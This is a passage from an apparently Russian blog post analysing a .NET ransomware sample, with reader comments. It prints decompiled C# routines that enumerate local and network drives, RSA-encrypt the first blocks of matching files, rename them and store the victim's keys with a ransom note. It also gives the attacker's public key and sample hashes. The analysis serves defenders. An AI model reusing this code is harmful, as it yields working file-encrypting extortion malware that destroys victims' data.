Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), // рабочий стол
Environment.GetFolderPath(Environment.SpecialFolder.Personal) // папка юзера
};
for (int i = 0; i < list.Count; i++) // в двух местах
{
this.SaveKey(list[i], this.privateKey); // сохраняем ключи в файл ssda.far
this.AddNote(list[i]); // сохраняем картинку с требованием выкупа
}
}
///// получение директорий
private void GetDirs(DirectoryInfo pth)
{
try
{
DirectoryInfo[] directories = pth.GetDirectories();
foreach (DirectoryInfo info in directories)
{
this.GetFiles(info);
this.GetDirs(info);
}
}
catch
{
}
}
///// Получение списка локальных и сетевых дисков
private void GetDrives()
{
try
{
string[] logicalDrives = Environment.GetLogicalDrives();
for (int i = 0; i < logicalDrives.Length; i++)
{
DriveInfo info = new DriveInfo(logicalDrives[i]);
if ((info.DriveType == DriveType.Fixed) || (info.DriveType == DriveType.Network))
{
this.GetDirs(info.RootDirectory);
}
}
}
catch
{
}
}
//// Получение файлов из папок и шифрование...
private void GetFiles(DirectoryInfo folder)
{
try
{
string[] files = Directory.GetFiles(folder.FullName, "*.*");
foreach (string str in files)
{
foreach (string str2 in this.extensions) // выбор по расширению
{
if ((str.ToLower().IndexOf(str2) > -1) && (str.ToLower().IndexOf(str2 + ".") == -1))
{
string str3 = str;
if (str.IndexOf(this.vNF) == -1)
{
this.CF(str3); /// шифрование файла...
}
}
}
}
}
catch
{
}
}
}
}
Заострим внимание на основных функциях, чтобы понять алгоритм:
После инициализации и создания невидимого окна, попадаем в функцию init()
private void Init()
{
this.Prep();
this.SaveNotes();
this.GetDrives();
this.NetScan();
this.SetDesktopWallpaper();
}
Prep() — инициализирует переменные, расшифровывает строки, создает криптопровайдеры, удаляет теневые копии файлов.
В конце функции самое интересное:
RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
this.publicKey = provider.ToXmlString(false);
this.privateKey = this.CryptKey(provider.ToXmlString(true));
Создается класс RSACryptoServiceProvider с длинной ключа 2048. При создании класса создаются рандомные значения ключей шифрования. Публичный ключ сохраняется в переменной this.publicKey, а в переменную this.privateKey помещаются публичный и приватный ключи, но зашифрованные публичным ключем который хранится в переменной this.pbK, что видно в функции CryptKey(string s).
Публичный ключ:
<RSAKeyValue <Modulus>+fFYiO9CH9iZwwzlsQ3X+qZ7Uyx290OhZ1WvLt6cmDd5oRsLoHLnoGws1CWFMOGFjtbaROSkTg3W+72/TjzHkuPp2W/RC7FBC4JpgguCi4x4ye4HEwRkQ75tHhig08hRKm1a7wlwYl8zLAzM8AwTPLh770MOzPqF1fJMKZCAtdUgIKdYNAkrP18sRbshkGNjwjMhMLNbKTaYfo3qIS4vtVUQtcw+g9ys3ZFZetKEl0ZMJEp4X7b4HK9vqUohPBYfBszXY6ion5m5tSSfhJK6OX2HPaU6RDcajTeEcmk9it9x73drJleZ1G+tVgL6duLX/uOWPVyi0rhyvYmRrGNcIQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
private string CryptKey(string s)
{
string str = "";
byte[] array = new byte[s.Length];
byte[] destinationArray = new byte[this.blocksize];
byte[] bytes = new byte[this.blocksize + 11];
double num = Math.Ceiling((double) (((double) s.Length) / ((double) this.blocksize)));
if (s.Length < (num * this.blocksize))
{
int length = s.Length;
for (int i = 0; i < ((num * this.blocksize) - length); i++)
{
s = s + " ";
}
}
array = Encoding.Default.GetBytes(s);
Array.Reverse(array);
try
{
RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
provider.FromXmlString(this.pbK);
for (int j = 0; j < num; j++)
{
Array.Copy(array, j * this.blocksize, destinationArray, 0, this.blocksize);
bytes = provider.Encrypt(destinationArray, false);
str = str + Encoding.Default.GetString(bytes);
}
}
catch
{
}
return str;
}
Процедура SaveNotes() сохраняет зашифрованные ключи в файл «ssda.far» — этот файл нужно послать злоумышленнику, он его расшифровывает с помощью приватного ключа, который есть только у него. Имея приватный ключ можно легко расшифровать файлы.
Процедура GetDrives() и NetScan() — получает список директорий.
Процедура SetDesktopWallpaper() — по идее должна менять фоновый рисунок на рабочем столе, но не работает. В результате заражения фоновый рисунок не поменялся.
Если посмотреть на процедуру непосредственно шифрования, то можно увидеть что шифруется не весь файл, а делается только 3 итерации по 512 байт. Если в файле есть важная информация, и файл большой, то возможно есть шанс восстановить часть файла. Маленькие файлы не шифруются и не меняется расширение.
private void CF(string f1)
{
byte[] destinationArray = new byte[this.blocksize];
try
{
byte[] sourceArray = File.ReadAllBytes(f1);
if ((sourceArray.Length / (this.repeatCount + 5)) >= this.blocksize)
{
RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
provider.FromXmlString(this.publicKey);
byte[] buffer3 = new byte[sourceArray.Length + (this.repeatCount * 11)];
byte[] buffer4 = new byte[sourceArray.Length - (this.repeatCount * this.blocksize)];
for (int i = 0; i < this.repeatCount; i++)
{
Array.Copy(sourceArray, this.blocksize * i, destinationArray, 0, this.blocksize);
byte[] buffer5 = provider.Encrypt(destinationArray, false);
Array.Copy(buffer5, 0, buffer3, i * (this.blocksize + 11), buffer5.Length);
}
Array.Copy(sourceArray, this.repeatCount * this.blocksize, buffer4, 0, buffer4.Length);
Array.Copy(buffer4, 0, buffer3, this.repeatCount * (this.blocksize + 11), buffer4.Length);
try
{
File.WriteAllBytes(f1, buffer3);
File.Move(f1, f1 + this.keyCode);
}
catch
{
}
}
}
catch
{
}
}
Расширение зашифрованных файлов — рандомное значение, и видимо нужно для последующей расшифровки по маске, и чтобы отличить зараженные машины одну от другой.
Выводы
К сожалению без приватного ключа расшифровать файлы, практически невозможно. Обязательно делать копии важной информации, на внешнем носителе, который необходимо отключать от компьютера.
З.Ы. Извиняюсь за довольно спонтанный анализ. Решил написать данный пост, может кому пригодится. Я думаю приведенный исходный код поможет более ясно увидеть всю работу зловредной программы.
З.Ы.З.Ы: Добавил хэши:
Архив: акт сверки №317 сформировано 1С 09112017.rar
SHA-256: 1c3fc2fec4c383070c8c83d94173a1966aeeb140f3684188342e283b652e6197
MD5: 68904e1cc81e7f367a677c54fcea7422
SHA-1: 5d39c694e01a9bf3b10519ba81a8565a0ee40b7b
В архиве: акт сверки №317 сформировано 1С 09112017.wsf
SHA-256: 02f0b00bbd9a633a98315560490627a5f907266101a881fa076ec2480df53d91
MD5: b698f6cbf69a85c7185e1caf8356f275
SHA-1: dd8122e876bfe7e238642f43dfffd7a4c3e54af3
eselp3.ax
SHA-256: b4f132e2625a788f2e8797495abe7e151a3242825752f62066c3ad2b4949b333
MD5: 980e8beac4c1538e68b2e80d5cd2bb23
SHA-1: 2f46d98b8c601104de4cc5afea146ef1682fc3a7
eselp4.ax
SHA-256: b6e8d5bd9cae7bd2b3ea87fe3483050e3c644d795df77d7f45a1a435375e8f5c
MD5: efea82173e5e09956ea5c7dbdb551297
SHA-1: 6ff4c69de879f3d40be9b5710e2a7245dba1352b
Комментарии (20)
vilgeforce
20.11.2017 23:57А хэшей-то и нет. Анализ, который нельзя проверить или повторить (а без хэшей — нельзя) — печально.
antiwinlocker Автор
21.11.2017 20:49Какие именно хэши Вам нужны для проверки и повторения анализа? Я обязательно Вам предоставлю, дабы не печалить.
vilgeforce
22.11.2017 10:43-1Файлов, Карл! Исследованных файлов…
antiwinlocker Автор
22.11.2017 11:05Я спросил какие именно хэши? Имел ввиду md5, sha*.
Добавил в пост. Ждем от Вас проверку и повторение анализа.vilgeforce
22.11.2017 12:01Мне нет смысла повторно анализировать троя от июня 2016 :-)
antiwinlocker Автор
22.11.2017 21:19Ну Вы же аналитик в DrWeb — тогда ждем анализ свежих криптолокеров от Вас, а не старья от 2016 года как я. Мне даже не удобно как-то — нарисовался с протухшим анализом, позор какой-то…
Vasily_Pechersky
21.11.2017 00:25Просто интересно…
Царапнула глаз транслитерация — «некама» на Иврите это Месть, а «некез» (хоть правильно «никуз») — это слив или дренаж.
Хотя возможно слова идут с каких то одногруппных ивриту языков (Турецкий, Азербайджанский и.т.д)Idot
21.11.2017 08:11Турецкий и азербайджанский — к ивриту не родственные совсем! Но, в них есть слова заимствованные из арабского, который и родственен ивриту (например, "салам" на арабском и "шалом" на иврите).
Языки родственные ивриту — это арабский, ассирийский, эфиопский, древнеегипетский, и прочие семитские языки.
vesper-bot
21.11.2017 16:00Разбирал как-то нечто подобное, только вместо .NET оно использовало скачанный с нета gpg, как следствие, было cmd-скриптом. Не помню, правда, сколько байт оно шифровало, но достаточно, чтобы проверить работу восстановления с бэкапа :)
klim76
21.11.2017 20:28а чисто бытовой интерес — имея файл до и после шифровки и скрипт шифровальщик — реально получить приват ключ?
antiwinlocker Автор
21.11.2017 20:34Практически нереально. Если хотите попробовать, могу обеспечить материалом на основе шифровальщика.
XSanchezX
21.11.2017 20:28Мне кажется, что 3 итерации по 512 байт — это не так уж и много
antiwinlocker Автор
21.11.2017 20:38Смотря для каких файлов. В любом случае потребуется много возни с восстановлением остатков от файла. Зато скорость шифрования большая, чем шифровать весь файл.
fmj
21.11.2017 20:28Если бы была настроена ос, это поделие бы даже не запустилось.
antiwinlocker Автор
21.11.2017 20:40Согласен, и если были бы резервные копии, то и проблемы не возникло бы.
Tortortor
много лишних запятых
Methos
грузится без мягкого знака пишется
antiwinlocker Автор
Спасибо, поправил.
antiwinlocker Автор
Комментарием ниже уважаемый Methos явно указал на ошибку в слове. Не могли бы и вы перечислить лишние запятые?